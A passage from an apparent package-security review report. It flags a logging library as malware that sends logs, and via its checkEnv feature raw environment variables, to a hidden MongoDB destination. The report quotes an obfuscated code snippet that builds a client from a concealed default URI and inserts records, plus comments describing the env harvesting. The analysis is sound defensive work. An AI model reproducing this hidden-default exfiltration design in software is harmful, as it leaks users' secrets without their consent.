Batched messages, contexts, and checkEnv raw environment values are inserted there. - **Trigger:** Application imports the package, creates a logger without a custom transport/URI, and emits or flushes records. - **Impact:** Application logs and potentially all environment-variable values are sent to an undisclosed remote database. - **Evidence paths:** dist/index.js, dist/types.d.ts, dist/mongo.d.ts, package.json - **Review source:** ai\_review - **Reviewed:** 2026-08-25T16:51:26.813Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Obfuscated default MongoDB log exfiltration. - **Attack narrative:** The runtime decrypts a bundled connection string and uses it as the default MongoDB target when callers use createLogger without explicitly supplying a transport or URI. It batches log messages and arbitrary context into that database. Its checkEnv feature defaults to process.env, auto-discovers variables when keys are omitted, and records raw values, making secrets exfiltrable through the hidden default destination. The URI is intentionally concealed by the publishing obfuscation step. - **Rationale:** This is concrete unconsented data exfiltration through a hidden default remote transport, with an explicit environment-value harvesting path. The lack of install hooks does not mitigate the runtime behavior. - **Files touched:** dist/index.js, dist/types.d.ts, dist/mongo.d.ts, package.json ### Review decision - **Verdict:** Malicious - **Confidence:** 98.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** Default logger transport creates MongoClient from an obfuscated decrypted URI and inserts log records., Logger options route omitted URI to a built-in target and attach arbitrary record context., checkEnv reads process.env and logs raw values; omitted keys auto-discover all variables., Published artifacts are deliberately obfuscated during prepublish. - **Evidence against:** No preinstall, install, or postinstall hook is declared., Remote connection occurs when logger records are flushed, not merely on import. ## Public findings ### 1.

Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 100.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** dist/index.js - **Public source:** [View source]() Default logger transport creates MongoClient from an obfuscated decrypted URI and inserts log records. Public source snippet (untrusted): ```javascript function L(g={}){let {uri:W,dbName:S,collectionName:d=b,client:p}=g,A0=p===void(-0x1173+-0x218c+0x32ff),A1=p??new MongoClient(W??T()),A2;function A3(){const AX=l;return A2||(A2=((async()=>(A0&&await A1['connect'](),(S?A1['db'](S):A1['db']())[AX(0x202)](d)))()),A2);}return{async 'send'(A4){const An=l;if(A4['length']===-0x2274+0x20f5+0x1*0x17f)return;let A5=await A3(),A6=A4[An(0x224)](A7=>({'level':A7[An(0x1e7)],'message':A7[An(0x1d1)],'time':new Date(A7[An(0x1cf)]),...A7[An(0x22f)]?{'context':A7[An(0x22f)]}:{}})); ``` ### 9. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** dist/types.d.ts - **Public source:** [View source]() Logger options route omitted URI to a built-in target and attach arbitrary record context. Public source snippet (untrusted): ```typescript * MongoDB connection string. When omitted, the built-in default target is * used. Ignored if `transport` or `endpoint` is provided. */ uri?: string; /** Database name. Defaults to the one named in the URI. */ dbName?: string; /** Collection that receives log documents. Defaults to `"log_entries"`. */ collectionName?: string; ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** dist/types.d.ts - **Public source:** [View source]() checkEnv reads process.env and logs raw values; omitted keys auto-discover all variables. Public source snippet (untrusted): ```typescript /** * Snapshots environment variables and logs the result, both locally (if * `isLocal`) and to the configured transport — so you can look at your own * log destination and see which env values a running instance actually has. * * Pass `keys` to check specific variables; omit `keys` to auto-discover every * variable in the source. Either way each variable's raw value is logged, so * ensure the log store is access-controlled if the environment holds secrets. ``` ### 11.
